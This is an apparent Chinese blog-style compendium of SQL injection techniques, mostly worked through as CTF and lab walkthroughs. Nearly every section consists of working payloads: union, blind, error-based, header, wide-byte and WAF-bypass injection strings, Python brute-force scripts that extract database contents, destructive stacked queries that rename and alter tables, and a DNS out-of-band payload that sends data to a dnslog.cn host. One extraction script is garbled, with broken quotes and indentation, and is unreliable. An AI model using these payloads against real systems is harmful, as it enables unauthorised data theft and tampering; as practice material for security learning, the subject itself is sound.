sql注入大总结【万字详解】

news2024/11/14 17:20:12

文章目录

  • 数据库的架构
  • sql注入
        • 概念
        • 正常语句
        • 正常回显页面
        • 在页面中使用sql语句
  • 跨库查询
  • sql文件读写
        • 影响条件
        • 复现
        • 读写的路径的问题
  • sql注入请求分类
        • sql注入请求类型
        • sql注入请求方式:
        • sql注入数据请求格式
  • 数据库的增删改查
          • 数据库查询
          • 数据库添加
          • 数据库删除
          • 数据库修改
  • 盲注
    • 常用的爆破参数:
    • 时间
      • 复现
    • 布尔
        • 概念
        • 复现
    • 报错
        • 概念
        • 复现
  • 二次注入
          • 插入恶意发数据
          • 引用恶意数据
          • 条件:
          • 示例:
  • 堆叠注入
  • 带外注入
  • 宽字节注入
          • 介绍
          • 复现
  • 数据包头注入
        • usergent注入
        • referer头注入
        • cookie头注入
  • MD5注入
          • 源代码:
          • 解读
  • 常量突破注入
          • 源代码
          • 解读
  • insert注入(*)
        • 基础知识
        • 靶场
  • 内联注释~边界突破
        • 基础知识
            • 正则表达式表
        • 示例
            • 源代码
  • 逻辑比较注入
  • WAF的绕过
    • union绕过
        • 前置知识点
            • 布尔注入
            • POSITION函数
    • 利用花括号绕过匹配
    • %0a绕过空格
    • 新手法查询

靶场地址:链接:https://pan.baidu.com/s/1GgUUfG4QLUM5LTwbNCzb3A?pwd=cong

数据库的架构

  • access数据库无数据库用户

  • mysql数据库

    • mysql类型一

      • root(自带默认)

        • 网站A testA
        • 网站B testB
    • mysql类型二

      • testA用户

        • 网站A testA
      • testB用户

        • 网站B testB
  • mysql数据库名称含义

    • information_schema:存储数据库下的数据库名、表名及列名信息的数据库。

      information_schema.schemata:记录数据库名信息的表。

      information_schema.tables:记录表名信息的表。

      information_schema.columns:记录列名信息的表。

      schema_name:在information_schema.schemata中,用于记录数据库名的列名值。

      table_schema:在information_schema.tables中,用于记录数据库名的列名值。

      table_name:在information_schema.tables中,用于记录表名的列名值。

      column_name:在information_schema.columns中,用于记录列名的字段。

    • 示例

      • information_schema.schemata中的schema_name

      • information_schema.tables中的table_name

      • information_schema.columns中的column_name

sql注入

  1. 概念
    1. SQL注入是一种常见的Web应用程序安全漏洞,它允许攻击者在Web应用程序中插入恶意SQL语句,从而操纵数据库执行非授权的操作。这种攻击利用了应用程序在处理用户输入时的不足,特别是当应用程序直接将用户输入作为SQL语句的一部分使用,而没有进行适当的验证和清理时。
  2. 正常语句
  3. 正常回显页面
  4. 在页面中使用sql语句
    1. 查有多少字段

      1. http://127.0.0.1/sqliab/Less-1/?id=1’order by 3–+

      2. http://127.0.0.1/sqliab/Less-1/?id=1’order by 4–+,报错说明有2个字段

    2. 数据库名称

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,database(),3–+
    3. 表名

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“security”–+

      2. 字段

        1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’–+
      3. 对应字段的值

      4. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(0x5c,username,0x5c,password) from users–+

  5. 跨库查询

    1. 数据库名

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata–+
    2. 表名

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“demo01”–+
    3. 字段

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘news’–+
    4. 字段的值

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(0x5c,page_title,0x5c,heading,0x5c,content) from demo01.news–+

sql文件读写

  1. 影响条件
    1. 当前数据库用户的权限
    2. secyre-file-priv设置
  2. 复现
    1. 读写的路径的问题
      1. 报错显示获取路径
      2. phpinfo页面泄露
      3. 利用常见的默认的中间件,数据库等安装路径读取有价值的信息

sql注入请求分类

  1. sql注入请求类型
    1. 数字型

      1. select * from news where id=$id;
    2. 字符型

      1. select * from news where id=‘$id’;
    3. 搜索型

      1. select * from news where id like ‘%id%’;
    4. 框架型

      1. select * from news where id=(‘$id’);
      2. select * from news where (id=‘$id’);
  2. sql注入请求方式:
    1. get,post,files,http头等

      1. user-agent

        1. 语句: u a = ua= ua=_SERVER[‘HTTP_USER_AGENT’];
      2. cookie

        1. 语句: c = c= c=_COOKIE[‘c’];
      3. X-Forwarded-For:简称XFF头,用于获取服务器的真实ip(可伪造)

        1. 语句: x f f = xff= xff=_SERVER[‘HTTP_X_FORWARDED_FOR’];
      4. Referer:请求来源–从哪个网站来的

        1. 语句: r = r= r=_REQUEST[‘r’];
      5. Host:指定自己想访问的web服务的域名/ip地址和端口号

  3. sql注入数据请求格式
    1. json格式

    2. base64格式

数据库的增删改查

  1. 数据库查询
    1. SELECT * FROM news where id=$id
  2. 数据库添加
    1. INSERT INTO news (ziduanming VALUES (数据)
  3. 数据库删除
    1. DELETE FROM news where id=$id
  4. 数据库修改
    1. UPDATE news SET id=$id

盲注

常用的爆破参数:

可见字符ascii码:
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
常见的爆破参数:
python标准库(可见字符):chars=string.ascii_letters+string.digits+string.putctuation
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
0-20数字
------
0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
  1. 时间

    1. 概念

      1. 通过时间判断语句是否成功执行来解决无回显问题
    2. and sleep(1);

    3. and if(1>2,sleep(5),0);

    4. 复现

      1. 页面无论输入什么都不报错,回显

        1. 猜测时间盲注

          1. payload:

            1' and sleep(5)%23
            
        2. 放入攻击模块进行爆破,爆破数据库
          payload:

          ?id=1' and  if((substr(database(), §1§, 1))='§S§', sleep(5), null)%23
          //得到数据库名SQL10
          
        3. 爆破表名长度

          1. payload

            ?id=1'and If(length((select table_name from information_schema.tables where table_schema='SQL10' limit 0,1))=5,sleep(10),1)#
            
        4. 爆破表名

          1. payload

            ?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='SQL10' limit 0,1),1,1))=117,sleep(100000),1)#
            
        5. 爆破字段长度

          1. payload

            ?id=1'and If(length((select column_name from information_schema.columns where table_schema='SQL10' and table_name='users' limit 3,1))=4,sleep(100000),1)#
            
        6. 爆破第四个字段名

          1. payload

            id=1'and If(ascii(substr((select column_name from information_schema.columns where table_schema='SQL10' and table_name='users' limit 3,1),1,1))=102,sleep(100000),1)#
            
        7. 爆破数据

          1. paoload

            可以使用脚本,也可以使用bp
            import requests
            import string
            chars = string.digits + string.ascii_letters +{}!@#$_”
            
            url = “http://192.168.17.87:3010/?id=1”
            
            flag = ‘’
            
            for i in range(1, 55):
            
            if}in flag:
            
            break
            
            for char in chars:
            
            payload = “’ and if(ascii(substring((select flag from users),%d,1))=%s’,sleep(3),3)-- -%(i, ord(char))
            
            try:
            
            result = requests.get(url + payload, timeout=2)
            
            except:
            
            flag = flag + char
            
            print(flag)
            
            break
            
            
  2. 布尔

    1. 概念
      1. 通过页面是否正常返回来判断语句是否被执行,源码需要有前端输出变量,页面返回或sql返回结果只有两种因该要先到布尔注入

      2. and length(database())=7;

      3. and left(database(),2)=‘pi’

      4. and substr(database(),1,1)=‘p’

    2. 复现
      1. 页面输出?id=1'--+无回显 输入?id=1'有回显

      2. 查数据库名的长度

        1.  http://tya9utf4eigor4au.ctfw.edu.sangfor.com.cn/?id=1' and (length(database()))>4 --+//有回显
           http://tya9utf4eigor4au.ctfw.edu.sangfor.com.cn/?id=1' and (length(database()))>5 --+//无回显
          
      3. 查数据库名

        1. payload:?id=1'and%20ascii(substr(database(),§1§,1))>§82§--+
      4. 查表名

        1. payload:?id=1'%20and%20(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),§1§,1)))=§100§--+
      5. 爆破字段

        1. payload:?id=1'%20and%20(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_schema='SQL09'%20and%20table_name='users'%20limit%203,1),§S§,1)))=§S§--+
      6. 爆破数据

        1. payload

          可以脚本,可以bp
          bp的payload:
          ?id=1'%20and%20hex(left((select%20flag%20from%20SQL09.users),1))=hex('S')--+
          
          脚本如下:
          import requests
          import string
          
          chars = string.digits + string.ascii_letters + "{}!@#$_"
          
          url = "http://tya9utf4eigor4au.ctfw.edu.sangfor.com.cn/"
          
          flag = ''
          
          for i in range(1, 20):
          
              if "}" in flag:
                  break
          
              for char in chars:
                  tmp = flag + char
                  payload = "?id=1'/**/and/**/hex(left((select/**/flag/**/from/**/SQL09.users),%d))=hex('%s')--+" % (i, tmp)
          //?id=1' and left((select hex(flag) from users),%d)=hex('%s') -- -也行
          //?id=1' and left((select flag from SQL09.users),%d)='%s'--+也行
                  result = requests.get(url + payload)
                  # print(payload)
          
                  if "SangFor" in result.text:
                      flag = flag + char
                      print(flag)
                      break
          
  3. 报错

    1. 概念
      1. 通过页面的容错处理返回的结果来进行注入,源码需要有mysqli_error函数

      2. updatexml函数

        1. http://127.0.0.1/sqli/new.php?id=-1 or updatexml(1,concat(0x7e,(select version()),0x7e),1)

      3. extractvalue函数

        1. and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables limit 1)));

      4. flor函数

        1. http://127.0.0.1/sqli/new.php?id=-1 OR (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0) * 2)) x FROM information_schema.tables GROUP BY x) a)
      5. NAME_CONST报错

        1. http://127.0.0.1/sqli/new.php?id=-1 or exists(select * from (select*from(select name_const(version(),0))a join (select name_const(version(),0))b)c)
    2. 复现
      1. 查字段数

        1. payload:?id=-1" order by 5%23
      2. 查数据库名

        1. payload:?id=-1" and updatexml(1,concat(0x7e,(database())),0)%23
      3. 查表名

        1. payload:?id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='SQL08'),0x7e),0x7e)%23
      4. 查看字段名

        1. payload:?id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e),0x7e)%23
      5. 查数据

        1. payload:?id=-1" and updatexml(1,concat(1,(select substr(flag,1,31) from users limit 0,1)),1)%23

二次注入

  1. 插入恶意发数据
    1. 第一次进行数据库插入数据的时候仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
  2. 引用恶意数据
    1. 在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入
  3. 条件:
    1. 插入恶意数据的对应语句需要有addslashes函数,他是用来将传来的数据的单引号进行转义插入数据库,原来主义是防止sql注入的,现在导致了二次注入

      1. 用户输入:xiaodi’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
        转义函数转义后:xiaodi/’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
        数据库显示:xiaodi’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
  4. 示例:
    1. 主要源码

      register.php
      if ($_SERVER['REQUEST_METHOD'] === 'POST') {
          $username = addslashes($_POST['username']);
          $password = $_POST['password'];
      
          // 插入新用户记录
          $query = "INSERT INTO users (username, password) VALUES ('$username', '$password')";
      ===================================================================================
      changepassword.php
      $query = "SELECT * FROM users WHERE username = '$username' AND password = '$currentPassword'";
          $result = mysqli_query($connection, $query) or die(mysqli_error($connection));
          if (mysqli_num_rows($result) > 0) {
              // 更新密码
              $query = "UPDATE users SET password = '$newPassword' WHERE username = '$username'";
              $updateResult = mysqli_query($connection, $query);
              if ($updateResult) {
                  echo "Password changed successfully!";
              } else {
                  echo "Failed to change password!";
              }
          } else {
              echo "Invalid username or current password!";
          }
      
  5. 堆叠注入

    1. 条件

      1. 查询函数时需要用到mysqli_multi_query函数,而不是mysqli_query()函数,因为他不支持多条语句执行
      2. 数据库(此数据库默认是只能执行一条sql语句,但是可以配合一些函数达到多条语句查询效果,例如联合查询(union select),堆叠注入(mysqli_query()))支持多条语句查询
      3. 存在sql漏洞并未对‘;‘进行过滤
    2. 示例:

      [强网杯 2019]随便注  1
      ';show databases;//注意不是database()
      ';show tables;
      1';use/**/supersqli;SeT @a=0x73656c656374202a2066726f6d206031393139383130393331313134353134603b;prepare a from @a;execute a;#
      进入supersqli数据库,16进制解码后select * from `1919810931114514`;1919810931114514为表名,后面就是执行语句的意思
      解法二:
      1'; handler `1919810931114514` open as a; handler a read next;#
      解读:
      handler代替select,以一行一行显示内容
      open打开表
      as更改表的别名为a
      read next读取数据文件内的数据次数
      解法三:
      1';rename table words to BaiMao;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#
      解读:
      -- 重命名表 words 为 BaiMao
      RENAME TABLE words TO BaiMao;
      
      -- 重命名表 1919810931114514 为 words
      RENAME TABLE `1919810931114514` TO words;
      
      -- 向表 words 添加一个自动递增的 id 列,并设为主键
      ALTER TABLE words ADD id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY;
      
      -- 修改列 flag 的名称为 data,并将其类型改为 varchar(100)
      ALTER TABLE words CHANGE flag data VARCHAR(100);
      
      -- 注释掉之后的内容
      

带外注入

  1. 条件

    1. root高权限
    2. 数据库支持load_file函数
  2. 示例:

    1.  SELECT * FROM `news` WHERE id = -1 or (SELECT LOAD_FILE(CONCAT('//', (SELECT DATABASE()),'.k7e9z3.dnslog.cn')));
       实战碰到的概率不大,演示不了,payload如上所示
      

宽字节注入

  1. 介绍
    1. 进行闭合 mysql 在使用 GBK 编码的时候,如果第一个字符的 ASCII 大于128 ,mysql 会认为两个字符为一个汉字,例如 %aa%5c 就是一个汉字。我们在过滤 ’ 的时候,往往利用的思路是将 ’ 转换为 ’ 。当我们输入“%df’”时,如果使用了转义函数,就会变成“%df’”,mysql 认为“%df\”为一个汉字,那后面的单引号就逃逸出来了。
  2. 复现
    1. 在网址输入id=1正常回显,输入’也正常回显,输入and 1=2也也正常回显,可能对’过滤了,也可能是预编译无法注入,只能想办法绕过

    2. 经过一下payload确认是宽字节注入,对’进行过滤

      1.  http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=1%df'and 1=2--+//不正常回显
         http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=1%df'and 1=1--+//正常回显
        
    3. 获取回显数字

      1.  http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df' union select 1,2,3,4,5 %23
        
    4. 查看数据库

      1.  http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df' union select 1,2,database() ,4,5%23
         获取数据库名SQL07
        
    5. 查看数据表名

      1.  http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df'union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=0x53514c3037 %23
         http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df'union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()%23
         两个都行,都可以避开',得到表名users
        
    6. 查看表名

      1.  http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=0x7573657273 %2316进制就避开'的过滤,得到表名id,username,password,flag,reg_date
        
    7. 获取数据

      1.  http://rhzyrpl7imneeyol.ctfw.edu.sangfor.com.cn/?id=-1%df' union select 1,2,flag,4,5 from users %23
        

数据包头注入

  1. usergent注入
    1. 首页usergent信息,用单引号发现报错,尝试报错注入

    2. 普通的报错注入发现行不通,根据sql语句报错

    3. 根据sql报错语句提示,因该少了个单引号,并用单引号连接,成功过注入

      1. payload

        '+updatexml(1,concat(0x7e,(database())),0)+'
        
    4. 按照以上格式,可以制作payload

      1.  查数据库名
         '=updatexml(1,concat(0x7e,(database())),0)='
        
         查询所有表
         User-Agent:'+ updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE())),3) +' 
        
         查询users表的所有字段
         User-Agent:'+ updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x7573657273)),3) +'
        
         获取Flag
         User-Agent:'+ updatexml(1,concat(0x7e,(mid((SELECT FLAG FROM users),32,16)),0x7e) ,3) +'
        
  2. referer头注入
    1. referer分析过程同上

    2. payload

      查数据库名
      '=updatexml(1,concat(0x7e,(database())),0)='
      
      查询所有表
      Referer:'+ updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE())),3) +' 
      
      查询users表的所有字段
      Referer:'+ updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x7573657273)),3) +'
      
      获取Flag
      Referer:'+ updatexml(1,concat(0x7e,(mid((SELECT FLAG FROM users),32,16)),0x7e) ,3) +'
      
  3. cookie头注入
    1. cookie分析过程同上

    2. paylaod

      
      

MD5注入

  1. 源代码:
    1.  <?php
       include 'conn.php';
       error_reporting(0);
      
       $action = isset($_GET['action']) ? $_GET['action'] : '';
      
       if ($action === 'login') {
       	$username = addslashes($_POST['username']);//addslashes用来将字符串进行转义,防止sql注入,但是如果使用不当就有可能导致堆叠注入
       	$password = md5($_POST['password']);
      
       	$sql = "SELECT password FROM users where username =  '" . $username . "'";
       	$res = mysql_query($sql) or die(mysql_error());
      
       	$row = mysql_fetch_row($res);
       	if($row[0] === $password){
       		echo $flag;
       	}else{
       		echo 'username or password error.';
       	}
       	mysql_close($con);
       }
       ?>
      
  2. 解读
    1. 首先get传参action位login进入if条件

    2. res变量存储的是sql查询语句的结果集,当传入的username为空时,他也为空

    3. 然后再继续配合md5 无法处理数组的漏洞,抓包将password 的类型修改为数组类型,password值也变为空,这样就强相等了

    4. payload:

      get:
      action=login
      
      post:
      username=&password[]=
      

常量突破注入

  1. 源代码
    1.  <?php
      
       include 'conn.php';
      
       error_reporting(0);
      
       $action = isset($_GET['action']) ? $_GET['action'] : '';
      
       if ($action === 'login') {
       	if(strlen($_POST['username']) > 30){
       		exit('username limit 30 characters');
       	}
       	$username = $_POST['username'];
       	$password = md5($_POST['password']);
      
       	$sql = "SELECT password FROM users where username =  '" . $username . "'";
       	$res = mysql_query($sql) or die(mysql_error());
      
       	$row = mysql_fetch_row($res);
       	if(isset($row[0])){
       		if($row[0] === $password){
       			echo $flag;
       		}else{
       			echo 'password error.';
       		}
       	}else{
       		echo 'username error.';
       	}
       	mysql_close($con);
       }
       ?>
      
       payload:
       get:
       action=login
      
       post:
       username=' union select md5(1)%23&password=1
      
  2. 解读
    1. action位login进入if条件
    2. 我们可以让username为’ union select md5(1)#这个字符时他会构造一个新语句,这是元语句SELECT password FROM users where username = ’变量‘,注入后的语句变为SELECT password FROM users where username = ’’ union select md5(1)#‘,可以看出成功闭合了,并返回的结果为md5(1),故此时的sql为md5(1)
    3. 所以让其相等只需要password页尾1即可,因为后面有个加密函数

insert注入(*)

  1. 基础知识
    1. mid函数

      1. mid(‘admin’,1,2)其中2表示一组显示多少个字母,1代表第一组
    2. 逗号的绕过

      1. 我们都知道if(1,2,3)函数,其中1正确就返回2,1错误返回3,但是这个函数会有逗号,我们就可以通过case函数进行绕过,语法如下

        1.  select CASE WHEN 1 THEN 2 ELSE 3 END
           //1正确就返回21错误就返回3
          
      2. 其次,我们返回flag时,由于mysql_query函数的结果字数限制,需要切分多次返回,此时就需要mid函数和limit函数了,但是mid函数会有逗号,我们就可以将其变形一下,如下

        1.  select MID('admin' from 1 for 1)
           此函数等于select MID('admin',1,1)
          
           LIMIT 1 OFFSET 0
           此函数等于LIMIT 01
          
  2. 靶场
    1. 重点:逗号绕过,mid,if变形,

    2. 看到题目,只有ip与次数(能记录次数说明可能与数据库的插入有关),捉包访问,添加XFF头,发现可以操控数据

    3. 用dirsearch扫出index.php~,源码如下

      1.  <!DOCTYPE html>
         <html lang="en">
           <head>
             <meta charset="utf-8" />
             <meta http-equiv="X-UA-Compatible" content="IE=edge" />
             <meta name="viewport" content="width=device-width, initial-scale=1" />
             <title>Insert注入</title>   
           </head>
           <body>
           <?php
           
           function getIP() { 
                 if (getenv('HTTP_CLIENT_IP')) { 
                     $ip = getenv('HTTP_CLIENT_IP'); 
                 } 
                 elseif (getenv('HTTP_X_FORWARDED_FOR')) { 
                     $ip = getenv('HTTP_X_FORWARDED_FOR'); 
                 } 
                 elseif (getenv('HTTP_X_FORWARDED')) { 
                     $ip = getenv('HTTP_X_FORWARDED'); 
                 } 
                 elseif (getenv('HTTP_FORWARDED_FOR')) { 
                     $ip = getenv('HTTP_FORWARDED_FOR'); 
                 } 
                 elseif (getenv('HTTP_FORWARDED')) { 
                     $ip = getenv('HTTP_FORWARDED'); 
                 } 
                 else { 
                     $ip = $_SERVER['REMOTE_ADDR']; 
                 } 
                 return $ip; 
             } 
             $count = 0;
             $ip = explode(',', getIP())[0];
             error_reporting(0);
             $con = mysql_connect('127.0.0.1','root','') or die("Unable to connect to the MySQL!");
             mysql_select_db('sql22',$con);
             mysql_query("set names utf8");
             mysql_query("INSERT into log(ip) values('".$ip."')") or die(mysql_error());
             $res = mysql_query("SELECT count(1) FROM log") or die(mysql_error());
             $count = mysql_fetch_array($res)[0];
             mysql_close($con);
           
             ?>
           今日浏览量:<?php echo $count ?> <br/>
           当前访问者:<?php echo $ip ?>
           
           </body>
         </html>
        
    4. explore函数是用于获取客户端的ip,上述代码以逗号分隔,只取逗号前面部分,导致后面语句无法执行,相当于过滤逗号

    5. 首先爆破数据库名

      1. payload

        '+ CASE WHEN (SELECT ASCII(mid(DATABASE() from §1§ for 1)) = §1§) THEN sleep(500000) ELSE 3 END +'
        '+ CASE WHEN (SELECT ASCII(SUBSTRING(DATABASE() from §1§ for 1)) = §1§) THEN sleep(500000) ELSE 3 END +'
        
        
    6. 爆破表名

      1. payload:

        '+ CASE WHEN (ascii(mid((SELECT table_name FROM information_schema.tables WHERE table_schema='SQL22' LIMIT 1 OFFSET 0) from §1§ for 1))=§117§) THEN sleep(500000) ELSE 3 END +'
        
    7. 爆字段名

      1. payload

        '+ CASE WHEN (ascii(substr((select column_name from information_schema.columns where table_schema='SQL22' and table_name='flag' limit 1 OFFSET 0)from §1§ for 1))=§102§) THEN sleep(500000) ELSE 3 END +'
        
    8. 爆数据

      1. 脚本

        import sys
        import requests
        import string
        import time
        
        characters = string.ascii_letters + string.digits + string.punctuation
        a=''
        for pos in range(25):
            for ch in characters:
                headers = {
                    'X-Forwarded-For': "'+(case when (select ascii(mid(flag from  %d for 1)) from flag)=ascii('%c') then sleep(10) else 1 end)+'" % (pos + 1, ch)
                }
                try:
                    requests.get('http://vp1lgupzu2wwn2wd.ctfw.edu.sangfor.com.cn', headers=headers, timeout=10)
                except requests.exceptions.Timeout:
                    a=a+ch
                    print(a)
                    break
        

内联注释~边界突破

  1. 基础知识
    1. 正则表达式表
      1.  /bunion  //过滤union开头
         is    //不区分大小写
         -- -注释
         /*!50000此处语句可执行*/  可执行(内联)注释,50000为版本号
        
  2. 示例
    1. 源代码
      1.  <?php
        
         include 'conn.php';
        
         error_reporting(0);
        
         $id = webscan_StopAttack($_GET['id']);
         $sql = "SELECT * FROM users where id = '" . $id . "'";
         $res = mysql_query($sql) or die(mysql_error());
        
         while($row = mysql_fetch_array($res)){
            echo $row[1] . "<br>" . $row[2] . "<br>";
         }
        
         function webscan_StopAttack($string) {
         	if (preg_match("/\bunion\b|\bselect\b|\bfrom\b/is",$string)==1){
         		exit('Sorry My Boy!');
         	}
         	return $string;
         }
        
         ?>
        
    2. 查回显

      1. payload

        http://n2dmeyjtc17xlbu9.ctfw.edu.sangfor.com.cn/?id='/*!50000union*//*!50000select*/1,2,3,4,5--+
        
    3. payload如下

      查数据库名
      http://n2dmeyjtc17xlbu9.ctfw.edu.sangfor.com.cn/?id='/*!50000union*//*!50000select*/1,database(),3,4,5--+
      
      查表名
      http://n2dmeyjtc17xlbu9.ctfw.edu.sangfor.com.cn/?id='/*!50000union*//*!50000select*/1,group_concat(table_name),3,4,5 /*!50000from*/ information_schema.tables where table_schema="SQL20" --+
      
      
      查字段
      http://n2dmeyjtc17xlbu9.ctfw.edu.sangfor.com.cn/?id='/*!50000union*//*!50000select*/1,group_concat(column_name),3,4,5 /*!50000from*/ information_schema.columns where table_schema="SQL20" and table_name='users' --+
      
      
      查数据
      http://n2dmeyjtc17xlbu9.ctfw.edu.sangfor.com.cn/?id='/*!50000union*//*!50000select*/1,group_concat(0x5c,flag,0x5c),3,4,5 /*!50000from*/SQL20.users --+
      

逻辑比较注入

  1. 源代码

    1.  error_reporting(0);
      
       $action = isset($_GET['action']) ? $_GET['action'] : '';
       if ($action === 'login') {
           $username = substr($_POST['username'], 0, 4);
           $password = md5($_POST['password']);
           $sql = "SELECT * FROM users WHERE username = '".$username."' AND password = '".$password."'";
           $res = mysql_query($sql) or die(mysql_error());
           $row = mysql_fetch_row($res);
           if (isset($row[0])) {
               echo $flag;
           } else {
               echo 'username or password error.';
           }
           mysql_close($con);
       }
      
  2. substr函数之前前四位,说明长度只能在前四位有效

  3. 输出flag的条件是查询语句为真,我们可以使用’ or 1=1来闭合,但是语句超过长度为4的限制

  4. 故使用payload'<1#即可绕过,带入后语句变为SELECT * FROM users WHERE username = ''<1#' AND password = ''

  5. 故payload如下

    1.  username='<1#&password=
      

WAF的绕过

  1. union绕过

    1. 考到题目,过滤一堆东西并告诉我们flag在waf01.passwd中

    2. 可以看到过滤函数有

      1. # -- -这个被过滤了,可以用闭合手法
      2. union这个过滤了,可以用positman绕过
      3. 过滤逗号,可以看上面的inser注入部分来绕过
      4. 空格过滤空格可以用/**/或者括号来绕过
    3. 前置知识点
      1. 布尔注入
        1.  select * from admin where id = ''<0^''    //无回显
           select * from admin where id = ''<1^''    //有回显
           由此看来可以进行布尔盲注
          
      2. POSITION函数
        1.  select POSITION('in' in 'administrator')//4
           select POSITION('i' in 'administrator')//4
           select POSITION('dmin' in 'administrator')//2
          
           select POSITION('dmin' in 'administrator')=2//1
           select POSITION('dmin' in 'administrator')=3//0
           返回布尔值,可以采用布尔注入
          
    4. 先简单构造payload的框架

      1.  ?username='<(POSITION(('a')in(waf01.passwd))=1)^'//无回显
         ?username='<(POSITION(('f')in(waf01.passwd))=1)^'//有回显
        
    5. 根据以上思路,写出python脚本进行爆破即可

      1.  import requests
        
         url = "http://8xvqpeiyqunoyo4b.ctfw.edu.sangfor.com.cn/index.php?username="
        
         flag = ''
        
         for i in range(30):
             for ch in '{}_1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM':
                 tmpflag = flag + ch
                 tmp = url + ("'<(POSITION(hex('%s')IN(hex(waf01.passwd)))=1)^'" % tmpflag)
                 rsp = requests.get(tmp)
                 # print(tmpflag)
                 if 'username=admin' in rsp.text:
                     flag = tmpflag
                     # print(flag)
                     print(tmpflag)
                     break
         //好像跑到for就不行了,可能被过滤掉了,不知道是如何过滤的,不懂!!!
        
  2. 利用花括号绕过匹配

    1. 关键源码:

      flag in waf02.passwd
      $filter = "/<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)/i"; 
      
    2. 没有过滤花括号,可以构造payload

      ?username='union select{`x`1},{`x`passwd},{`x`3},{`x`4}from waf02 -- -
      
      也可以使用报错注入
      ?username='and updatexml(1,concat_ws(0x7e,0x7e,(select{`1`passwd}from waf02 )),3)%23
      
  3. %0a绕过空格

    1. 关键代码:

      flag in waf03.passwd
